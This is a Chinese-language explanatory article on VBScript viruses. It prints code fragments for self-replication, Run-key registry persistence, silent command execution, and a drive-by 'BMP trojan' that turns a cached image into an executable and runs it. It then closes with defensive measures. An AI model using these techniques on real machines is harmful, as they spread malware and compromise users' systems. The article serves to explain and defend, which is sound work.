1 引言
VBS語言為程序設(shè)計提供了很大的方便,特別是在動態(tài)網(wǎng)頁設(shè)計中使用廣泛。但是VBS的各種特點也使之成為制造病毒的理想工具。2000年5月4日歐美爆發(fā)了“愛蟲”網(wǎng)絡(luò)蠕蟲病毒。由于通過電子郵件系統(tǒng)傳播,愛蟲病毒在短短幾天內(nèi)狂襲全球數(shù)百萬計的電腦。2002年4月出現(xiàn)的新歡樂時光病毒也席卷了中國很多電腦,并在“2003年中國計算機病毒疫情調(diào)查技術(shù)分析報告”的十大病毒中,高居榜首。
2 VBS病毒的特點
顧名思義VBS病毒是用VBS語言編寫的。VBS是“Visual Basic Script”的縮寫,就是VB語言的腳本版。該腳本語言功能非常強大,它們利用開放性的特點,通過調(diào)用一些現(xiàn)成的Windows對象、組件,可以直接對文件系統(tǒng)、注冊表等進行控制,為制造病毒提供了非常好的條件。
3 VBS病毒的基本原理
(1) VBS腳本病毒如何感染文件
VBS腳本病毒一般是直接通過自我復(fù)制來感染文件的。譬如愛蟲病毒是直接生成一個文件的副本,將病毒代碼拷入其中,并以原文件名作為病毒文件名的前綴,vbs作為后綴。病毒自我復(fù)制的代碼如下:
set copy1=createobject(\"scripting.filesystemobject\")'創(chuàng)建一個文件系統(tǒng)對象
copy1.getfile(wscript.scriptfullname).copy(\"c:\\huan.vbs\")'腳本自我復(fù)制
上面描述了病毒文件如何進行自我復(fù)制的,只要在病毒代碼中加上上述代碼就可實現(xiàn)自我復(fù)制了。
(2) VBS腳本病毒如何修改注冊表
注冊表幾乎是每種病毒都喜歡光顧的地方。這是因為病毒要想在用戶重啟計算機之后仍能夠運行,一般都要通過修改注冊表中的啟動項的鍵值。當(dāng)然,VBS病毒也不例外,而且VBS腳本對注冊表的修改十分簡單。只要通過如下代碼就可做到:
以下是一個蠕蟲病毒的修改注冊表部分的代碼:
Dim Reg'定義Wscript.Shell對象
SetReg=CreateObject ( \"wscript.Shell\")'確定創(chuàng)建對象項目
'把資料寫入Registry
Reg.RegWrite
\"HKEY_LOCAL_MACHINE\\SOFTWARE
\\Microsoft \\ Windows \\ CurrentVersion \\Run
Mapi\",\"C:\\WINNT\\SYSTEM\\Mapi.exe\"
'在啟動項中增加病毒項
(3) VBS 腳本病毒如何直接運行 windows命令
除了能對注冊表修改,vbs腳本還能直接運行windows命令。只要使用如下代碼:
Set objShell = CreateObject(\"Wscript.Shell\")'創(chuàng)建Wscript.Shell對象
objShell.Run( \"wmplayer.exe D:\\1.MP3\"),0,TRUE'在后臺播放1.MP3
這將使vbs腳本病毒的功能更加強大。也就是說,任何windows下的操作幾乎都可以在病毒中實現(xiàn)。這些病毒可以輕易地關(guān)掉你的殺毒軟件,甚至也可以執(zhí)行format這樣的格式化磁盤的命令。這將給用戶帶來毀滅性的打擊。
(4) VBS腳本病毒制造機的使用
這是一些菜鳥最喜歡用的制造VBS腳本病毒的方法。這種方法非常簡單,一個幾乎不懂編程的人可以編出具有相當(dāng)威力的病毒。這種病毒制造機充分利用了腳本語言的優(yōu)越性。因為腳本語言是解釋執(zhí)行的,不需要編譯,程序中不需要什么校驗和定位,每條語句之間分隔得比較清楚。這樣,先將病毒功能做成很多單獨的模塊,在用戶做出病毒功能選擇后,病毒制造機只需要將相應(yīng)的功能模塊拼湊起來,最后再作相應(yīng)的代碼替換和優(yōu)化即可。
(5) 利用VBS腳本進行網(wǎng)頁掛馬
目前VBS使用最多的地方應(yīng)該就是在網(wǎng)頁設(shè)計中了。特別是在動態(tài)網(wǎng)頁asp或html中嵌入VBS可以實現(xiàn)相當(dāng)多的功能。網(wǎng)頁掛馬就是用這種原理。所謂網(wǎng)頁掛馬就是黑客自己寫一個網(wǎng)頁,當(dāng)你瀏覽該網(wǎng)頁時會自動下載木馬并且運行。為了讓用戶瀏覽該網(wǎng)頁,黑客往往會入侵一個正常的網(wǎng)站,然后在該網(wǎng)頁上加上打開網(wǎng)馬地址的html語句。這樣當(dāng)有用戶訪問該網(wǎng)站時會自動打開網(wǎng)馬地址從而中木馬。下面我們來分析一下掛馬的原理:
以下是一個種BMP木馬網(wǎng)頁的核心代碼:
CACHE=wsh.RegRead
(\"HKCU \\Software \\ Microsoft\\Windows
\\ CurrentVersion \\ Explorer \\ Shell Folders
Cache\")
'通過讀注冊表得到網(wǎng)頁緩存地址
str=FSO.GetParentFolderName(CACH
E)\"\\\"CACHE.name\"\\\"\"1.bmp\");
'得到bmp臨時文件的完整路徑
set File=FSO.GetFile(str)'定義bmp文件的對象
File.Copy(tmp\"tmp.dat\")'復(fù)制bmp文件為tmp.dat文件
set Lt=FSO.CreateTextFile(tmp\"tmp.bat\")'創(chuàng)建tmp.bat批處理文件
Lt.WriteLine(\"@echo off\")'寫tmp.bat文件
Lt.WriteLine( \"debug\" tmp \"tmp.dat<\"tmp\"tmp.in>\"tmp\"tmp.out\")
Lt.WriteLine (\"copy\" tmp \"tmp.dat\"
winsys\"1.exe>\"tmp\"tmp.out\")
Lt.WriteLine(winsys\"1.exe\")
Lt.Close
WSH.Run tmp\"tmp.bat\",1,6
'運行tmp.bat文件
這個BMP木馬的工作原理是這樣的:首先將木馬文件加上一個BMP文件頭轉(zhuǎn)換成BMP文件,并且在種馬網(wǎng)頁上添加這個BMP圖片文件。當(dāng)你打開了這個網(wǎng)頁時系統(tǒng)會自動將這個文件下到Internet緩存中。再通過讀注冊表得到用戶緩存目錄,將該文件另存為tmp.dat文件。然后再生成一個批處理文件。這個批處理文件的功能是調(diào)用系統(tǒng)自帶的debug程序,通過tmp.in中的命令對tmp.dat文件操作,過濾掉tmp.dat中的BMP文件頭,還原為1.exe文件,最后再運行這個木馬。寫完這個批處理后,VBS腳本再調(diào)用這個批處理,完成批處理中的操作。這樣當(dāng)你瀏覽網(wǎng)頁時就自動將木馬下載到本地運行了。
4 VBS病毒的防范方法
VBS病毒雖然功能強大,但是仍然有很多弱點。正是因為弱點比較明顯,使得近幾年來VBS病毒不是很流行。下面我們介紹VBS病毒的防范方法:
(1)禁用文件系統(tǒng)對象FileSystemObject。用regsvr32 scrrun.dll /u這條命令就可以禁止文件系統(tǒng)對象。
(2) 刪除VBS、VBE、JS、JSE文件后綴名與應(yīng)用程序的映射,同時取消隱藏系統(tǒng)中已知文件類型的擴展名。這兩項可在文件夾選項中設(shè)置。
(3) 在Windows\\system32目錄中,找到WScript.exe,更改名稱或者刪除。
(4)要徹底防治VBS網(wǎng)絡(luò)蠕蟲病毒,還需設(shè)置一下瀏覽器。把“ActiveX控件及插件”的一切設(shè)為禁用,同時將系統(tǒng)的網(wǎng)絡(luò)連接的安全級別設(shè)置至少為“中等”。
(5)禁止Outlook Express的自動收發(fā)郵件功能,這樣將阻止蠕蟲通過郵件的傳播。
(6) 最后一項也是最簡單的,就是安裝殺毒軟件。目前國內(nèi)殺毒軟件已經(jīng)做得比較好了。只要你安裝了可更新病毒庫的殺毒軟件,還是可以查殺大部分病毒的。
————————————
參考文獻
[1]杜宏毅,鄭玄宜.完全接觸ASP之VBScript.電子工業(yè)出版社,2002.
[2]許衛(wèi)林,宋先斌,黨齊民.VBScript+ASP動態(tài)網(wǎng)頁設(shè)計制作.中國電力出版社,2002.